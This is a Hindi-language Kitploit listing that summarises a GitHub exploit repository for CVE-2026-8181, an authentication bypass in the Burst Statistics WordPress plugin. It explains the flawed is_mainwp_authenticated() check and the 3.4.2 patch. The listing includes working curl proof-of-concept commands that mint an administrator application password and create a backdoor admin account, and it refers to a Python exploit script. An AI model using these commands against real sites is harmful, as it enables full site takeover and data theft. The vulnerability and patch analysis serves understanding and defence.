Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
Log in
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

फ़ीडसंपर्कगोपनीयता© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2026-8181 — Burst Statistics – Privacy-Friendly WordPress Analytics (Google Analytics Alternative) WordPress के लिए प्लगइन प्रमाणीकरण बायपास के लिए संवेदनशील है। | Kitploit
उपकरण/GitHubGitHub/yucaerin/cve-2026-8181
भेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणCTFपेनिट्रेशन टेस्टिंगप्रमाणीकरणलर्निंग और शिक्षा
GitHubyucaerin/cve-2026-8181

CVE-2026-8181

Burst Statistics – Privacy-Friendly WordPress Analytics (Google Analytics Alternative) WordPress के लिए प्लगइन प्रमाणीकरण बायपास के लिए संवेदनशील है।

रिपॉजिटरी देखें
1104 महीने पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2026-8181 — Burst Statistics 3.4.0 – 3.4.1.1 — प्रमाणीकरण बाईपास से व्यवस्थापक खाता अधिग्रहण

भेद्यता सारांश

वर्डप्रेस प्लगइन Burst Statistics संस्करण 3.4.0 से 3.4.1.1 एक अप्रमाणित प्रमाणीकरण बाईपास भेद्यता के लिए संवेदनशील है जो पूर्ण व्यवस्थापक खाता अधिग्रहण की ओर ले जाता है। यह गंभीर दोष एक अप्रमाणित हमलावर को, जो किसी भी व्यवस्थापक उपयोगकर्ता नाम को जानता है, एक ही HTTP अनुरोध में उस खाते के लिए एक वैध वर्डप्रेस एप्लिकेशन पासवर्ड बनाने की अनुमति देता है, जिससे पूरी साइट तक लगातार व्यवस्थापक-स्तर की पहुंच प्राप्त होती है।

यह भेद्यता class-mainwp-proxy.php में is_mainwp_authenticated() फ़ंक्शन से उत्पन्न होती है। यह फ़ंक्शन wp_authenticate_application_password() को कॉल करता है और केवल यह जांचता है कि परिणाम WP_Error है या नहीं। यह यह सत्यापित नहीं करता है कि परिणाम वास्तव में एक सफल WP_User ऑब्जेक्ट है या नहीं। जब वर्डप्रेस का आंतरिक फ़िल्टर application_password_is_api_request false लौटाता है — जो तब होता है जब कॉल सामान्य REST API प्रमाणीकरण प्रवाह के बाहर की जाती है — वर्डप्रेस फ़ंक्शन WP_Error या WP_User के बजाय null लौटाता है। क्योंकि null WP_Error नहीं है, जांच पास हो जाती है, और हमलावर का चुना हुआ व्यवस्थापक उपयोगकर्ता wp_set_current_user() के माध्यम से वर्तमान उपयोगकर्ता के रूप में सेट हो जाता है।

एक बार जब वर्तमान उपयोगकर्ता किसी व्यवस्थापक पर स्विच हो जाता है, तो बाद की क्षमता जांच पास हो जाती है। इसके बाद हमलावर /burst/v1/mainwp-auth REST एंडपॉइंट तक पहुंच सकता है, जो व्यवस्थापक खाते के लिए एक वर्डप्रेस एप्लिकेशन पासवर्ड बनाता है और इसे प्रतिक्रिया में लौटाता है। यह हमलावर को लगातार, पूर्ण व्यवस्थापक-स्तर की पहुंच प्रदान करता है।

प्रभावित प्लगइन

फ़ील्डमान
प्लगइन का नामBurst Statistics – Privacy-Friendly WordPress Analytics
प्लगइन स्लगburst-statistics
प्रभावित संस्करण3.4.0 – 3.4.1.1
पैच किया गया संस्करण3.4.2
CVE IDCVE-2026-8181
CVSS स्कोर9.8 (गंभीर)
CVSS वेक्टरCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
भेद्यता प्रकारप्रमाणीकरण बाईपास (अनुचित प्रमाणीकरण)
CWECWE-287 — अनुचित प्रमाणीकरण
प्रभावपूर्ण साइट अधिग्रहण — व्यवस्थापक खाता अधिग्रहण

हमलावर क्या कर सकते हैं

क्षमताप्रभाव
किसी भी व्यवस्थापक के लिए एप्लिकेशन पासवर्ड बनानालगातार व्यवस्थापक पहुंच
REST API के माध्यम से नए व्यवस्थापक खाते बनानाखाता प्रसार
प्लगइन/थीम इंस्टॉल करनादूरस्थ कोड निष्पादन
पोस्ट, पेज और सेटिंग्स संपादित करनासाइट विरूपण
सभी साइट डेटा निर्यात या हटानाडेटा विनाश/निष्कर्षण
WooCommerce/ग्राहक डेटा तक पहुंचडेटा उल्लंघन

तकनीकी विश्लेषण

प्लगइन आरंभीकरण और संवेदनशील गेट

Burst Statistics वर्डप्रेस के plugins_loaded हुक पर प्राथमिकता 9 पर आरंभ होता है, class-burst.php के अंदर:

// class-burst.php, लाइन 118
if ( $this->has_admin_access() ) {
    $this->admin = new Admin();
    $this->admin->init();
    ...
}

has_admin_access() सभी व्यवस्थापक कार्यक्षमता के लिए गेटकीपर है। यह X-BurstMainWP हेडर की जांच करता है और संवेदनशील फ़ंक्शन को कॉल करता है:

// trait-admin-helper.php, पंक्तियाँ 202-211
if ( isset( $_SERVER['HTTP_X_BURSTMAINWP'] ) && $_SERVER['HTTP_X_BURSTMAINWP'] === '1' ) {
    $mainwp_proxy = new \Burst\Frontend\MainWP_Proxy();

    if ( $mainwp_proxy->is_mainwp_authenticated() ) {
        return burst_loader()->has_admin_access = true;
    }
    ...
}

संवेदनशील फ़ंक्शन: is_mainwp_authenticated()

// class-mainwp-proxy.php, पंक्तियाँ 313-342 (संवेदनशील 3.4.1.1)
public function is_mainwp_authenticated(): bool {
    $auth_header = sanitize_text_field( wp_unslash( $_SERVER['HTTP_AUTHORIZATION'] ?? '' ) );

    if ( ! empty( $auth_header ) && stripos( $auth_header, 'basic ' ) === 0 ) {
        $credentials = base64_decode( substr( $auth_header, 6 ), true );
        if ( ! $credentials ) {
            return false;
        }
        $parts = explode( ':', $credentials, 2 );
        if ( count( $parts ) !== 2 ) {
            return false;
        }
        $username = $parts[0];
        $password = $parts[1];

        // संवेदनशील: REST API प्रमाणीकरण प्रवाह के बाहर
        // wp_authenticate_application_password() null लौटाता है
        $is_valid = wp_authenticate_application_password( null, $username, $password );

        // बग: केवल जांचता है कि परिणाम WP_Error है या नहीं। null WP_Error नहीं है → पास!
        if ( is_wp_error( $is_valid ) ) {
            return false;
        }

        $user = get_user_by( 'login', $username );
        if ( ! $user || ! user_can( $user, 'manage_burst_statistics' ) ) {
            return false;
        }
        wp_set_current_user( $user->ID );

        return true;
    }

    return false;
}

wp_authenticate_application_password() null क्यों लौटाता है

वर्डप्रेस आंतरिक फ़ंक्शन wp_authenticate_application_password() में एक फ़िल्टर है:

if ( ! apply_filters( 'application_password_is_api_request', false ) ) {
    return null;  // API अनुरोध नहीं, एप्लिकेशन पासवर्ड प्रमाणीकरण छोड़ें
}

जब सामान्य REST API प्रमाणीकरण प्रवाह के बाहर कॉल किया जाता है, तो यह null लौटाता है। Burst Statistics कोड ने केवल is_wp_error($is_valid) जांचा — null WP_Error नहीं है, इसलिए जांच गलत तरीके से पास हो जाती है।

व्यवस्थापक अधिग्रहण के लिए निष्पादन पथ

  1. हमलावर किसी भी अनुरोध के साथ X-BurstMainWP: 1 हेडर भेजता है
  2. has_admin_access() is_mainwp_authenticated() को ट्रिगर करता है
  3. wp_authenticate_application_password() null लौटाता है (API संदर्भ में नहीं)
  4. is_wp_error(null) = false → जांच पास होती है
  5. wp_set_current_user($admin_id) निष्पादित होता है
  6. वर्तमान उपयोगकर्ता अब चुना गया व्यवस्थापक है
  7. हमलावर /burst/v1/mainwp-auth पर POST करता है
  8. handle_auth_request() एक वर्डप्रेस एप्लिकेशन पासवर्ड बनाता है
  9. टोकन base64(username:app_password) के रूप में लौटाया जाता है
  10. हमलावर लगातार व्यवस्थापक REST API पहुंच के लिए इस टोकन का उपयोग करता है

पैच विश्लेषण (3.4.2)

// class-mainwp-proxy.php, पंक्तियाँ 399-415 (पैच किया गया 3.4.2)
$allow_application_password_request = static function (): bool {
    return true;
};
add_filter( 'application_password_is_api_request', $allow_application_password_request, 999 );
$authenticated_user = wp_authenticate_application_password( null, $parts[0], $parts[1] );
remove_filter( 'application_password_is_api_request', $allow_application_password_request, 999 );

if ( ! $authenticated_user instanceof \WP_User ) {
    return false;
}
if ( ! hash_equals( (string) $authenticated_user->user_login, $parts[0] ) ) {
    return false;
}

लागू किए गए सुधार:

  • application_password_is_api_request फ़िल्टर को true पर बाध्य करें ताकि वास्तविक पासवर्ड सत्यापन हो सके
  • जांचें कि परिणाम WP_User इंस्टेंस है (null नहीं)
  • उपयोगकर्ता नाम मिलान सत्यापित करने के लिए hash_equals() का उपयोग करें

इसके अतिरिक्त, REST एंडपॉइंट के लिए check_auth_permission() को कड़ा किया गया ताकि current_user_can('manage_burst_statistics') और कुकी-प्रमाणित अनुरोधों के लिए स्पष्ट नॉन्स सत्यापन की आवश्यकता हो।

प्रूफ ऑफ कॉन्सेप्ट

मैन्युअल cURL

# चरण 1: लक्ष्य संवेदनशील है या नहीं जांचें (एप्लिकेशन पासवर्ड बनाएं)
curl -s -X POST 'https://target.com/?rest_route=/burst/v1/mainwp-auth' \
  -H 'Authorization: Basic YWRtaW46YW55dGhpbmc=' \
  -H 'X-BurstMainWP: 1' \
  -H 'Content-Type: application/json' \
  -d '{}'

# प्रतिक्रिया: {"token":"YWRtaW46QmNpMzZwZG90SDBNS21iTTNXWFpGNGV2"}

# चरण 2: टोकन डिकोड करें
echo "YWRtaW46QmNpMzZwZG90SDBNS21iTTNXWFpGNGV2" | base64 -d
# admin:Bci36pdotH0MKmbM3WXZF4ev

# चरण 3: नया व्यवस्थापक बनाने के लिए एप्लिकेशन पासवर्ड का उपयोग करें
curl -X POST 'https://target.com/wp-json/wp/v2/users' \
  -u 'admin:Bci36pdotH0MKmbM3WXZF4ev' \
  -d 'username=BackdoorAdmin&password=SecurePass123!&roles=administrator&[email protected]'

पायथन शोषण उपकरण

exploit_burst_statistics.py स्क्रिप्ट पूरे हमले की श्रृंखला को स्वचालित करती है:

टूल डाउनलोड करें